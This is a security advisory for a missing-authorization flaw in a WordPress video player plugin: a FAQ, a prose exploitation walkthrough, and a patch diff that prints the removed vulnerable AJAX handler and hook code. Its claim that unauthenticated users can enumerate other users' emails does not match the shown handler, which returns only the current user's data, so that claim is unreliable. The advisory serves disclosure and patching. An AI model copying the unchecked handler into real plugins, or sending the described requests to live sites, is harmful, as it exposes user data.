What is CVE-2026-57323?

CVE-2026-57323 is a missing authorization vulnerability in the HTML5 Video Player plugin for WordPress, affecting versions up to and including 2.11.0. It allows unauthenticated attackers to perform unauthorized actions, such as enumerating registered users and their email addresses.

How does the vulnerability work?

The vulnerability exists in two areas: the player-control-script.php file registers actions and filters without authentication, and the watermark_data_ajax function in blocks.php exposes user data via AJAX without proper capability checks. An attacker can send a POST request to admin-ajax.php with a valid nonce to retrieve user email and display name.

What is the CVSS score and severity?

The vulnerability has a CVSS score of 5.3, classified as Medium severity. This reflects the limited direct impact of information disclosure, though it can facilitate targeted phishing attacks.

Who is affected by this vulnerability?

Any WordPress site running the HTML5 Video Player plugin version 2.11.0 or earlier is affected. Sites using version 2.11.1 or later are patched and not vulnerable.

How can I check if my site is vulnerable?

Check the plugin version in the WordPress admin dashboard under Plugins. If the version is 2.11.0 or lower, your site is vulnerable. You can also verify by looking for the file player-control-script.php in the plugin directory.

What information can an attacker obtain?

An unauthenticated attacker can retrieve the email address and display name of registered users by exploiting the watermark_data AJAX handler. This information can be used for social engineering or phishing campaigns.

How was the vulnerability fixed?

The patch removes the entire player-control-script.php file and removes the watermark_data_ajax AJAX handler registration from blocks.php. It also restricts sensitive data exposure by checking the edit_posts capability before passing admin URLs and nonces.

How can I mitigate the vulnerability if I cannot update?

If you cannot update to version 2.11.1, consider disabling the plugin temporarily or using a web application firewall to block requests to admin-ajax.php with the watermark_data action. However, updating is the recommended solution.

Does the vulnerability require any user interaction?

No user interaction is required. The attacker only needs to obtain a valid nonce, which can be extracted from any page that enqueues the vulnerable script. The exploit can be automated.

What is the impact of the missing authorization in player-control-script.php?

The player-control-script.php file runs apply_filters and do_action calls with user-controlled IDs from shortcodes. This could allow an attacker to trigger arbitrary WordPress hooks, potentially leading to further exploitation if combined with other vulnerabilities.

Where can I find more information about this CVE?

Refer to the official CVE entry, the WordPress plugin changelog, and security advisories from Atomic Edge. The patch diff and proof of concept are available in the disclosure details.

Published : July 4, 2026

CVE-2026-57323: HTML5 Video Player – Embed and Play Videos in Custom Player <= 2.11.0 Missing Authorization PoC, Patch Analysis & Rule

Q: What is the proof of concept demonstrating?

The proof of concept shows how an attacker can send a POST request to admin-ajax.php with the action parameter set to watermark_data and a valid nonce. It demonstrates the retrieval of user email and display name without authentication.

CVE ID CVE-2026-57323

Plugin html5-video-player

Severity Medium (CVSS 5.3)

CWE 862

Vulnerable Version 2.11.0

Patched Version 2.11.1

Disclosed June 25, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-57323: This vulnerability in the HTML5 Video Player – Embed and Play Videos in Custom Player plugin for WordPress (versions up to and including 2.11.0) allows unauthenticated attackers to perform unauthorized actions. The vulnerability receives a CVSS score of 5.3 and is categorized under CWE-862 (Missing Authorization). The affected components are the `player-control-script.php` file and the `watermark_data_ajax` handler in `blocks.php`.

The root cause is a missing capability check on multiple functions. In `player-control-script.php` (lines 1-98), the entire file registers a `wp_footer` action that parses shortcodes and applies filters and actions like `h5vp_player_script_{id}` and `h5vp_quick_player` without any authentication or authorization checks. In `blocks.php`, the `watermark_data_ajax` function (lines 14-15) registers AJAX handlers for both authenticated (`wp_ajax_watermark_data`) and unauthenticated (`wp_ajax_nopriv_watermark_data`) users. While the unauthenticated handler itself verifies a nonce (`wp_verify_nonce`), the nonce `wp_ajax` is generic and can be leaked or generated by an unauthenticated user. The function then sends back user email and display name without checking if the current user can actually access this data.

Exploitation is straightforward. An attacker can send a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `watermark_data` and a valid `nonce` value. The attacker can obtain a valid nonce from any page that enqueues the vulnerable script. The `watermark_data_ajax` function (blocks.php, lines 17-26) verifies the nonce, but does not verify that the user has the required capabilities (e.g., `edit_posts`, `manage_options`). After nonce verification, the function calls `wp_get_current_user()` and returns the user’s email and display name. This allows an unauthenticated attacker to enumerate registered users and their email addresses. Additionally, the `player-control-script.php` file runs arbitrary `apply_filters` and `do_action` calls with user-controlled IDs parsed from shortcodes, which could trigger other vulnerable or privileged hooks.

The patch removes the entire `player-control-script.php` file (deleted in the diff) and removes the `watermark_data_ajax` AJAX handler registration from `blocks.php`. In blocks.php, the lines `add_action(‘wp_ajax_watermark_data’, [$this, ‘watermark_data_ajax’]);` and `add_action(‘wp_ajax_nopriv_watermark_data’, [$this, ‘watermark_data_ajax’]);` are removed. The patch also removes the `watermark_data_ajax` function definition entirely. Additionally, the patch tightens the `enqueue_script` function in blocks.php to only pass sensitive data (`adminUrl`, `editorNonce`) when the user has the `edit_posts` capability (line 65: `if (current_user_can(‘edit_posts’))`). The `player-control-script.php` file is completely removed, eliminating the unauthenticated shortcode parsing and hook execution.

The impact of this vulnerability includes unauthorized information disclosure. An unauthenticated attacker can enumerate WordPress users and obtain their email addresses and display names by calling the `watermark_data` AJAX action. This information can be used for targeted phishing attacks or social engineering. The missing authorization in `player-control-script.php` could also allow an attacker to trigger arbitrary WordPress actions and filters by injecting malicious shortcodes into a post, although this requires the attacker to have the ability to create or edit posts with shortcodes (or exploit another vulnerability to inject content). The CVSS score of 5.3 reflects the medium severity due to the limited scope of direct data exposure.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/html5-video-player/admin/player-control-script.php
+++ b/html5-video-player/admin/player-control-script.php
@@ -1,98 +0,0 @@
-<?php
-if (!defined('ABSPATH')) {
-    exit; // Exit if accessed directly.
-}
-//should be delete later raju
-add_action('wp_footer', function () {
-    global $post;
-    if(!$post){
-        return false;
-    }
-    $result = array();
-//get shortcode regex pattern wordpress function
-    $pattern = get_shortcode_regex(array('html5_video_player'));
-    if (preg_match_all('/' . $pattern . '/s', $post->post_content, $matches)) {
-        $keys = array();
-        $result = array();
-        foreach ($matches[0] as $key => $value) {
-            // $matches[3] return the shortcode attribute as string
-            // replace space with '&' for parse_str() function
-            $get = str_replace(" ", "&", $matches[3][$key]);
-            parse_str($get, $output);
-
-            //get all shortcode attribute keys
-            $keys = array_unique(array_merge($keys, array_keys($output)));
-            $result[] = $output;
-        }
-        //var_dump($result);
-        if ($keys && $result) {
-            // Loop the result array and add the missing shortcode attribute key
-            foreach ($result as $key => $value) {
-                // Loop the shortcode attribute key
-                foreach ($keys as $attr_key) {
-                    $result[$key][$attr_key] = isset($result[$key][$attr_key]) ? $result[$key][$attr_key] : null;
-                }
-                //sort the array key
-                ksort($result[$key]);
-            }
-        }
-        //display the result
-        $allId = array();
-        foreach ($result as $hook) {
-            $allId[$hook['id']] = $hook['id'];
-        }
-
-        foreach($allId as $hookId){
-            $id = str_replace('"', "", $hookId);
-            $id = str_replace("'", "", $id);
-
-            apply_filters('h5vp_player_script_' . $id, null, $id);
-        }
-    }
-    do_action('h5vp_quick_player');
-    //do_action('h5vp_player_script', $result);
-
-    global $post;
-    $result = array();
-//get shortcode regex pattern wordpress function
-    $pattern = get_shortcode_regex(array('video_playlist'));
-    if (preg_match_all('/' . $pattern . '/s', $post->post_content, $matches)) {
-        $keys = array();
-        $result = array();
-        foreach ($matches[0] as $key => $value) {
-            // $matches[3] return the shortcode attribute as string
-            // replace space with '&' for parse_str() function
-            $get = str_replace(" ", "&", $matches[3][$key]);
-            parse_str($get, $output);
-
-            //get all shortcode attribute keys
-            $keys = array_unique(array_merge($keys, array_keys($output)));
-            $result[] = $output;
-
-        }
-        //var_dump($result);
-        if ($keys && $result) {
-            // Loop the result array and add the missing shortcode attribute key
-            foreach ($result as $key => $value) {
-                // Loop the shortcode attribute key
-                foreach ($keys as $attr_key) {
-                    $result[$key][$attr_key] = isset($result[$key][$attr_key]) ? $result[$key][$attr_key] : null;
-                }
-                //sort the array key
-                ksort($result[$key]);
-            }
-        }
-        //display the result
-        $allId = array();
-        foreach ($result as $hook) {
-            $allId[$hook['id']] = $hook['id'];
-        }
-
-        foreach($allId as $hookId){
-            $id = str_replace('"', "", $hookId);
-            $id = str_replace("'", "", $id);
-            do_action('video_playlist' . $id, $id);
-        }
-    }
-}, 30);
-
--- a/html5-video-player/blocks.php
+++ b/html5-video-player/blocks.php
@@ -13,121 +13,53 @@
         {
             add_action('init', [$this, 'register_block']);
             add_action('enqueue_block_assets', [$this, 'enqueue_script']);
-            add_action('wp_ajax_watermark_data', [$this, 'watermark_data_ajax']);
-            add_action('wp_ajax_nopriv_watermark_data', [$this, 'watermark_data_ajax']);
         }

         function register_block()
         {
-            register_block_type(H5VP_PRO_PLUGIN_PATH . 'build/blocks/parent');
-            register_block_type(H5VP_PRO_PLUGIN_PATH . 'build/blocks/video');
-            register_block_type(H5VP_PRO_PLUGIN_PATH . 'build/blocks/youtube');
-            register_block_type(H5VP_PRO_PLUGIN_PATH . 'build/blocks/vimeo');
-            register_block_type(H5VP_PRO_PLUGIN_PATH . 'build/blocks/popup-trigger');
+            register_block_type(H5VP_PLUGIN_PATH . 'build/blocks/parent');
+            register_block_type(H5VP_PLUGIN_PATH . 'build/blocks/video');
+            register_block_type(H5VP_PLUGIN_PATH . 'build/blocks/youtube');
+            register_block_type(H5VP_PLUGIN_PATH . 'build/blocks/vimeo');
         }

         function enqueue_script()
         {
-            wp_register_script('html5-player-blocks', plugin_dir_url(__FILE__) . 'build/editor.js', ['wp-blocks', 'wp-i18n', 'wp-element', 'wp-editor', 'jquery', 'bplugins-plyrio'], H5VP_PRO_VER, true);
+            wp_register_script('html5-player-blocks', plugin_dir_url(__FILE__) . 'build/editor.js', ['wp-blocks', 'wp-i18n', 'wp-element', 'wp-editor', 'jquery', 'bplugins-plyrio'], H5VP_VER, true);

-            wp_register_script('bplugins-plyrio', plugin_dir_url(__FILE__) . 'public/js/plyr-v3.8.3.polyfilled.js', [], '3.8.3', false);
-            wp_register_script('h5vp-view', plugin_dir_url(__FILE__) . 'build/blocks/view.js', ['react', 'react-dom', 'wp-util', 'bplugins-plyrio'], H5VP_PRO_VER, false);
-            wp_register_script('h5vp-blocks', plugin_dir_url(__FILE__) . 'build/blocks/blocks.js', [], H5VP_PRO_VER, false);
+            wp_register_script('bplugins-plyrio', plugin_dir_url(__FILE__) . 'public/js/plyr-v3.8.4.polyfilled.js', [], '3.8.3', false);
+            wp_register_script('h5vp-view', plugin_dir_url(__FILE__) . 'build/blocks/view.js', ['react', 'react-dom', 'wp-util', 'bplugins-plyrio'], H5VP_VER, false);
+            wp_register_script('h5vp-blocks', plugin_dir_url(__FILE__) . 'build/blocks/blocks.js', [], H5VP_VER, false);
+
+            wp_register_style('bplugins-plyrio', plugin_dir_url(__FILE__) . 'public/css/h5vp.css', [], H5VP_VER, 'all');
+            wp_register_style('h5vp-view', plugin_dir_url(__FILE__) . 'build/blocks/view.css', ['bplugins-plyrio'], H5VP_VER, 'all');
+            wp_register_style('h5vp-blocks', plugin_dir_url(__FILE__) . 'build/blocks/blocks.css', [], H5VP_VER, 'all');
+            wp_register_style('h5vp-editor', plugin_dir_url(__FILE__) . 'build/editor.css', [], H5VP_VER, 'all');

-            wp_register_script('h5vp-hls', H5VP_PRO_PLUGIN_DIR . 'public/js/hls.min.js', ['bplugins-plyrio'], H5VP_PRO_VER, true);
-            wp_register_script('h5vp-dash', H5VP_PRO_PLUGIN_DIR . 'public/js/dash.all.min.js', ['bplugins-plyrio'], H5VP_PRO_VER, true);
-
-            wp_register_style('bplugins-plyrio', plugin_dir_url(__FILE__) . 'public/css/h5vp.css', [], H5VP_PRO_VER, 'all');
-            wp_register_style('h5vp-view', plugin_dir_url(__FILE__) . 'build/blocks/view.css', ['bplugins-plyrio'], H5VP_PRO_VER, 'all');
-            wp_register_style('h5vp-blocks', plugin_dir_url(__FILE__) . 'build/blocks/blocks.css', [], H5VP_PRO_VER, 'all');
-            wp_register_style('h5vp-editor', plugin_dir_url(__FILE__) . 'build/editor.css', [], H5VP_PRO_VER, 'all');
-
-            wp_register_style('html5-player-video-style', plugin_dir_url(__FILE__) . 'build/frontend.css', ['bplugins-plyrio'], H5VP_PRO_VER);
+            wp_register_style('html5-player-video-style', plugin_dir_url(__FILE__) . 'build/frontend.css', ['bplugins-plyrio'], H5VP_VER);

             $get_option = h5vp_get_option();

-
             $localize_data = [
-                'siteUrl'     => site_url(),
-                'userId'      => get_current_user_id(),
-                'isPipe'      => (bool) h5vp_fs()->can_use_premium_code(),
-                'hls'         => H5VP_PRO_PLUGIN_DIR . 'public/js/hls.min.js',
-                'dash'        => H5VP_PRO_PLUGIN_DIR . 'public/js/dash.all.min.js',
-                'pauseOther'  => (bool) H5VPHelperFunctions::getOptionDeep("h5vp_option", "h5vp_pause_other_player", false),
-                'nonce'       => wp_create_nonce('wp_ajax'),
-                'plugin_url'  => H5VP_PRO_PLUGIN_DIR,
-                'brandColor'  => $get_option('h5vp_player_primary_color', '#00b2ff'),
-                'postId'      => is_singular() ? (int) get_the_ID() : 0,
+                'siteUrl' => site_url(),
+                'userId' => get_current_user_id(),
+                'pauseOther' => (bool) H5VPHelperFunctions::getOptionDeep("h5vp_option", "h5vp_pause_other_player", false),
+                'plugin_url' => H5VP_PLUGIN_DIR,
+                'brandColor' => $get_option('h5vp_player_primary_color', '#00b2ff'),
+                'postId' => is_singular() ? (int) get_the_ID() : 0,
             ];

-            wp_localize_script('h5vp-blocks', 'h5vpBlock', $localize_data);
-
-            wp_localize_script('h5vp-view', 'h5vpBlock', $localize_data);
-
-            $user_id = get_current_user_id();
-            $post_id = is_singular() ? get_the_ID() : 0;
-
-            // short-lived token (e.g., 6 hours)
-            $issued_at = time();
-            $ttl = 6 * 60 * 60;
-
-            $token = $this->h5vp_make_analytics_token([
-                'uid' => (int) $user_id,
-                'pid' => (int) $post_id,
-                'iat' => (int) $issued_at,
-                'ttl' => (int) $ttl,
-            ]);
-
-            wp_localize_script('h5vp-view', 'H5VP_ANALYTICS', [
-                'endpoint' => rest_url('h5vp/v1/analytics'),
-                'nonce' => wp_create_nonce('wp_rest'), // still used for normal fetch
-                'token' => $token, // used for beacon
-                'postId' => $post_id ?: null,
-                'userId' => $user_id ?: null,
-                'iat' => $issued_at,
-                'ttl' => $ttl,
-                'enableBuilInAnalytics' => (bool) h5vp_fs()->can_use_premium_code() && $get_option('enable_analytics', true),
-                '_enabledGA4' => (bool) h5vp_fs()->can_use_premium_code() && $get_option('enable_ga4'),
-                'ga4_tracking_id' => $get_option('ga4_tracking_id', '')
-            ]);
-
-        }
-
-        public function watermark_data_ajax()
-        {
-
-            if (!wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['nonce'] ?? '')), 'wp_ajax')) {
-                wp_send_json_error('invalid request');
+            if (current_user_can('edit_posts')) {
+                $localize_data['adminUrl'] = admin_url();
+                $localize_data['editorNonce'] = wp_create_nonce('h5vp_ajax_handler');
             }

-            $user = wp_get_current_user();
-
-            wp_send_json_success([
-                'user' => [
-                    'email' => $user->data->user_email ?? '',
-                    'name' => $user->data->display_name ?? '',
-                ]
-            ]);
-        }
+            wp_localize_script('h5vp-blocks', 'h5vpBlock', $localize_data);
+            wp_localize_script('h5vp-view', 'h5vpBlock', $localize_data);

-        function getWatermarkPosition($position)
-        {
         }

-        function h5vp_make_analytics_token(array $data)
-        {
-            // token payload + signature
-            $payload = wp_json_encode($data);
-            $sig = hash_hmac('sha256', $payload, wp_salt('auth'));
-            // base64url encode
-            $b64 = rtrim(strtr(base64_encode($payload), '+/', '-_'), '=');
-            return $b64 . '.' . $sig;
-        }
     }

-
-
-
-
     new H5VP_Block();
-}
 No newline at end of file
+}
--- a/html5-video-player/build/admin.asset.php
+++ b/html5-video-player/build/admin.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '9e4f940560b05064649c');
+<?php return array('dependencies' => array(), 'version' => '26a95419e7106dd0e17a');
--- a/html5-video-player/build/admin/analytics/index.asset.php
+++ b/html5-video-player/build/admin/analytics/index.asset.php
@@ -1 +0,0 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-i18n'), 'version' => 'b79c15f7ec7dbfe07f67');
--- a/html5-video-player/build/admin/aws-s3-picker.asset.php
+++ b/html5-video-player/build/admin/aws-s3-picker.asset.php
@@ -1 +0,0 @@
-<?php return array('dependencies' => array(), 'version' => '92a744b111eaa1f305bb');
--- a/html5-video-player/build/blocks/blocks.asset.php
+++ b/html5-video-player/build/blocks/blocks.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => '190985485c34d3a0693d');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => 'b3e94ea3d552e5f3f2f4');
--- a/html5-video-player/build/blocks/popup-trigger/index.asset.php
+++ b/html5-video-player/build/blocks/popup-trigger/index.asset.php
@@ -1 +0,0 @@
-<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-i18n'), 'version' => '1c26fae46aaefb731790');
--- a/html5-video-player/build/blocks/popup-trigger/render.php
+++ b/html5-video-player/build/blocks/popup-trigger/render.php
@@ -1,51 +0,0 @@
-<?php
- if ( ! defined( 'ABSPATH' ) ) exit;
-
-echo wp_kses_post( $content );
-
-?>
-<script>
-    (function(){
-        // find in every second until found the popup
-        const findPopup = () => {
-            const popup = document.getElementById('<?php echo esc_js( $attributes['targetId'] ); ?>');
-            if(popup) {
-                const trigger = document.querySelector('.<?php echo esc_js( $attributes['targetId'] ); ?> a');
-
-                trigger.addEventListener('click', (e) => {
-                    const video = popup.querySelector('video');
-                    e.preventDefault();
-                    if(video) {
-                        popup.classList.add('h5vp_popup_open');
-                        video.play();
-                    }
-                });
-
-                // clsoe popup, find in every second until found the close button
-                const findCloseBtn = () => {
-                    const closeBtn = popup.querySelector('.popup_close_button');
-                    if(closeBtn) {
-                        closeBtn?.addEventListener('click', (e) => {
-                            const video = popup.querySelector('video');
-                            e.preventDefault();
-                            if(video) {
-                                video.pause();
-                                popup.classList.remove('h5vp_popup_open');
-                            }
-                        });
-                    } else {
-                        setTimeout(() => {
-                            findCloseBtn();
-                        }, 500);
-                    }
-                }
-                findCloseBtn();
-            } else {
-                setTimeout(() => {
-                    findPopup();
-                }, 500);
-            }
-        }
-        findPopup();
-    })()
-</script>
 No newline at end of file
--- a/html5-video-player/build/blocks/render.php
+++ b/html5-video-player/build/blocks/render.php
@@ -1,120 +1,17 @@
 <?php
 if (!defined('ABSPATH'))
     exit; // Exit if accessed directly
-use H5VPHelperDefaultArgs;
+
 if (!isset($attributes['source']) || empty($attributes['source'])) {
     return;
 }
-$classes = 'wp-block-html5-player-video html5_video_players';
 $attributes = h5vp_process_block_attributes($attributes);

 $attributes = apply_filters('h5vp_block_attributes', $attributes);

-$preset = null;
-if ($attributes['presetId'] ?? false) {
-    $presetModel = new H5VPModelPreset();
-    $preset = $presetModel->get_preset_by_id($attributes['presetId']);
-}
-
-if ($attributes['onlyLoggedIn']['whoCanSeeThisVideo'] === 'logged_in') {
-    if (!is_user_logged_in()) {
-        $login_url = wp_login_url(get_permalink());
-        echo '<div class="h5vp-loggedin-message">' . esc_html($attributes['onlyLoggedIn']['message']) . '<a href="' . esc_url($login_url) . '"> Login to watch</a></div>';
-        return;
-    } else {
-        $user = wp_get_current_user();
-        $allowed_roles = $attributes['onlyLoggedIn']['allowedRoles'];
-        if (!empty($allowed_roles) && !array_intersect($allowed_roles, $user->roles)) {
-            echo "<p>" . esc_html__('Your role does not have permission to watch this video.', 'h5vp') . "</p>";
-            return;
-        }
-    }
-}
-
-if ($attributes['onlyLoggedIn']['whoCanSeeThisVideo'] == 'logged_out' && is_user_logged_in()) {
-    return;
-}
-
-$attributes['features']['saveState'] = $attributes['saveState'] ?? false;
-
-if (h5vp_fs()->is__premium_only() && isset($attributes['seo']['duration']) && !empty($attributes['seo']['duration'])) {
-    add_action('wp_head', function () use ($attributes) {
-        ?>
-        <script type="application/ld+json">
-                    {
-                        "@context": "https://schema.org",
-                        "@type": "VideoObject",
-                        "name": "<?php echo esc_html($attributes['seo']['name'] ?? get_the_title()); ?>",
-                        "description": "<?php echo esc_html($attributes['seo']['description'] ?? get_the_excerpt()) ?>",
-                        "thumbnailUrl": "<?php echo esc_url($attributes['poster'] ?? '') ?>",
-                        "uploadDate": "<?php echo esc_html(get_the_date('c')) ?>",
-                        "contentUrl": "<?php echo esc_url($attributes['source']) ?>",
-                        "embedUrl": "<?php echo esc_url(get_permalink()); ?>",
-                        "duration": "<?php echo esc_html(h5vp_convert_duration_to_iso8601($attributes['seo']['duration'])); ?>"
-                    }
-                </script>
-        <?php
-    });
-}
-
-// don't remove this
-if (strpos($attributes['source'], '.m3u8') !== false) {
-    wp_enqueue_script('h5vp-hls');
-    $classes .= ' h5vp-hls-video';
-}
-if (strpos($attributes['source'], '.mpd') !== false) {
-    wp_enqueue_script('h5vp-dash');
-    $classes .= ' h5vp-dash-video';
-}
-
-
-if (strpos($attributes['source'], '.m3u8') !== false || strpos($attributes['source'], '.mpd') !== false) {
-    $attributes['source'] = xorEncode($attributes['source'], $attributes['uniqueId']);
-    $attributes['streaming'] = true;
-}
-
-
-// hide email-form for logged in users
 ?>

-<div data-video-id="<?php echo esc_attr($attributes['video_id'] ?? ''); ?>" class='<?php echo esc_attr($classes) ?>'
-    <?php echo
-        wp_kses_data(get_block_wrapper_attributes()); ?> data-nonce="
-    <?php echo esc_attr(wp_create_nonce('wp_ajax')) ?>" data-attributes="
-    <?php echo esc_attr(wp_json_encode($attributes)) ?>" data-preset="
-    <?php echo esc_attr(wp_json_encode($preset)) ?>">
-    <?php if (!$attributes['features']['hideLoadingPlaceholder'] ?? false) { ?>
-        <style>
-            .preload_poster svg {
-                background: var(--plyr-video-control-background-hover, var(--plyr-color-main, var(--plyr-color-main,
-                                <?php echo esc_attr(DefaultArgs::brandColor()); ?>
-                            )));
-                border: 0;
-                border-radius: 100%;
-                left: 50%;
-                opacity: .9;
-                padding: calc(var(--plyr-control-spacing, 8px) * 1.5);
-                position: absolute;
-                top: 50%;
-                transform: translate(-50%, -50%);
-                transition: .3s;
-                z-index: 2;
-                box-sizing: content-box;
-                fill: #fff;
-            }
-
-            .preload_poster {
-                display:
-                    <?php echo esc_attr($attributes['features']['popup']['enabled'] ?? false ? 'none' : 'block') ?>
-            }
-        </style>
-        <div class="preload_poster"
-            style="overflow:hidden;aspect-ratio:<?php echo esc_attr($attributes['options']['ratio'] ?? '16/9'); ?>;background-image:url(<?php echo esc_url($attributes['poster'] ?? '') ?>)">
-            <svg width="24px" height="24px" viewBox="0 0 15 15" fill="none" xmlns="http://www.w3.org/2000/svg">
-                <path
-                    d="M4.79062 2.09314C4.63821 1.98427 4.43774 1.96972 4.27121 2.05542C4.10467 2.14112 4 2.31271 4 2.5V12.5C4 12.6873 4.10467 12.8589 4.27121 12.9446C4.43774 13.0303 4.63821 13.0157 4.79062 12.9069L11.7906 7.90687C11.922 7.81301 12 7.66148 12 7.5C12 7.33853 11.922 7.18699 11.7906 7.09314L4.79062 2.09314Z" />
-            </svg>
-        </div>
-        <?php
-    } ?>
+<div data-video-id="<?php echo esc_attr($attributes['video_id'] ?? ''); ?>"
+    class='wp-block-html5-player-video html5_video_players' <?php echo wp_kses_data(get_block_wrapper_attributes()); ?>
+    data-attributes="<?php echo esc_attr(wp_json_encode($attributes)) ?>">
 </div>
 No newline at end of file
--- a/html5-video-player/build/blocks/view.asset.php
+++ b/html5-video-player/build/blocks/view.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react'), 'version' => '5099c5da7ed8c905d424');
+<?php return array('dependencies' => array('react'), 'version' => '1a46fbfd72dfa6d8eff8');
--- a/html5-video-player/build/choose-preferred-editor/index.asset.php
+++ b/html5-video-player/build/choose-preferred-editor/index.asset.php
@@ -1 +0,0 @@
-<?php return array('dependencies' => array('react'), 'version' => '8249b9df777f70343d0a');
--- a/html5-video-player/build/dashboard.asset.php
+++ b/html5-video-player/build/dashboard.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-data'), 'version' => '1f51c0c2be02fec895b7');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-data'), 'version' => '971b41786c4128f7ec51');
--- a/html5-video-player/build/dashboard/admin.php
+++ b/html5-video-player/build/dashboard/admin.php
@@ -1,61 +0,0 @@
-<?php
-if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly
-if (!class_exists('H5APAdmin')) {
-	class H5VPAdmin
-	{
-		function __construct()
-		{
-			add_action('admin_enqueue_scripts', [$this, 'adminEnqueueScripts']);
-			add_action('admin_menu', [$this, 'adminMenu']);
-		}
-
-		function adminEnqueueScripts($hook)
-		{
-			if (str_contains($hook, 'html5-video-player')) {
-				wp_enqueue_style('h5ap-admin-style', H5VP_PRO_PLUGIN_DIR . 'build/dashboard.css', [], H5VP_PRO_VER);
-
-				wp_enqueue_script('h5ap-admin-script', H5VP_PRO_PLUGIN_DIR . 'build/dashboard.js', ['react', 'react-dom',  'wp-components', 'wp-i18n', 'wp-api', 'wp-util', 'lodash', 'wp-media-utils', 'wp-data', 'wp-core-data', 'wp-api-request'], H5VP_PRO_VER, true);
-				wp_localize_script('h5ap-admin-script', 'h5apDashboard', [
-					'dir' => H5VP_PRO_PLUGIN_DIR,
-				]);
-			}
-		}
-
-		function adminMenu()
-		{
-
-			add_menu_page(
-				__('HTML5 Video Player', 'h5vp'),
-				__('HTML5 Video Player', 'h5vp'),
-				'manage_options',
-				'html5-video-player',
-				[$this, 'dashboardPage'],
-				H5VP_PRO_PLUGIN_DIR . 'admin/img/icn.png',
-				15
-			);
-
-			add_submenu_page(
-				'html5-video-player',
-				__('Dashboard', 'h5ap'),
-				__('Dashboard', 'h5ap'),
-				'manage_options',
-				'html5-video-player',
-				[$this, 'dashboardPage'],
-				0
-			);
-		}
-
-		function dashboardPage()
-		{ ?>
-			<div id='h5vpAdminDashboard' data-info=<?php echo esc_attr(wp_json_encode([
-														'version' => H5VP_PRO_VER
-													])); ?>></div>
-		<?php }
-
-		function upgradePage()
-		{ ?>
-			<div id='h5vpAdminUpgrade'>Coming soon...</div>
-<?php }
-	}
-	new H5VPAdmin;
-}
--- a/html5-video-player/build/frontend-playlist.asset.php
+++ b/html5-video-player/build/frontend-playlist.asset.php
@@ -1 +0,0 @@
-<?php return array('dependencies' => array('react'), 'version' => '64c30f7c492ad0186a3a');
--- a/html5-video-player/build/frontend.asset.php
+++ b/html5-video-player/build/frontend.asset.php
@@ -1 +0,0 @@
-<?php return array('dependencies' => array('react', 'react-dom'), 'version' => '9c84b3fb662ecf44459e');
--- a/html5-video-player/elementor-widget.php
+++ b/html5-video-player/elementor-widget.php
@@ -1,155 +1,53 @@
 <?php
-if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly
+if (!defined('ABSPATH'))
+	exit; // Exit if accessed directly
 use H5VPElementorVideoPlayer;
 use H5VPElementorSelectFile;

 final class Elementor_Addons
 {
-
-	/**
-	 * Plugin Version
-	 *
-	 * @since 1.0.0
-	 *
-	 * @var string The plugin version.
-	 */
 	const VERSION = '1.0.0';
-
-	/**
-	 * Minimum Elementor Version
-	 *
-	 * @since 1.0.0
-	 *
-	 * @var string Minimum Elementor version required to run the plugin.
-	 */
 	const MINIMUM_ELEMENTOR_VERSION = '2.0.0';
-
-	/**
-	 * Minimum PHP Version
-	 *
-	 * @since 1.0.0
-	 *
-	 * @var string Minimum PHP version required to run the plugin.
-	 */
 	const MINIMUM_PHP_VERSION = '7.0';

-	/**
-	 * Instance
-	 *
-	 * @since 1.0.0
-	 *
-	 * @access private
-	 * @static
-	 *
-	 * @var Elementor_Test_Extension The single instance of the class.
-	 */
 	private static $_instance = null;

-	/**
-	 * Instance
-	 *
-	 * Ensures only one instance of the class is loaded or can be loaded.
-	 *
-	 * @since 1.0.0
-	 *
-	 * @access public
-	 * @static
-	 *
-	 * @return Elementor_Test_Extension An instance of the class.
-	 */
 	public static function instance()
 	{
-
 		if (is_null(self::$_instance)) {
 			self::$_instance = new self();
 		}
 		return self::$_instance;
 	}

-	/**
-	 * Constructor
-	 *
-	 * @since 1.0.0
-	 *
-	 * @access public
-	 */
 	public function __construct()
 	{
-
-		//Register Frontend Script
 		add_action("elementor/frontend/after_register_scripts", [$this, 'frontend_assets_scripts']);
-
-		// Add Plugin actions
 		add_action('elementor/widgets/register', [$this, 'init_widgets']);
-
 		add_action('elementor/controls/controls_registered', [$this, 'init_controls']);
 	}

-	/**
-	 * Init Controls
-	 *
-	 * Include control files and register them
-	 *
-	 * @since 1.0.0
-	 *
-	 * @access public
-	 */
 	public function init_controls($controls_manager)
 	{
-
-		// Include Widget files
 		require_once(__DIR__ . '/inc/elementor-custom-control/b-select-file.php');
-
-		// Register controls
 		$controls_manager->register(new SelectFile());
 	}

-
-	/**
-	 * Frontend script
-	 */
 	public function frontend_assets_scripts()
 	{
-		wp_register_script('bplugins-plyrio', plugin_dir_url(__FILE__) . 'public/js/plyr-v3.8.3.polyfilled.js', array('jquery'), '3.8.3', false);
-		wp_register_script('html5-player-video-view-script', plugin_dir_url(__FILE__) . 'build/frontend.js', array('jquery', 'bplugins-plyrio', 'react', 'react-dom', 'wp-util'), time(), true);
-
-		wp_register_style('bplugins-plyrio', plugin_dir_url(__FILE__) . 'public/css/h5vp.css', array(), H5VP_PRO_VER, 'all');
-		wp_register_style('html5-player-video-style', plugin_dir_url(__FILE__) . 'build/frontend.css', array('bplugins-plyrio'), H5VP_PRO_VER);
-
-		wp_localize_script('html5-player-video-view-script', 'ajax', array(
-			'ajax_url' => admin_url('admin-ajax.php'),
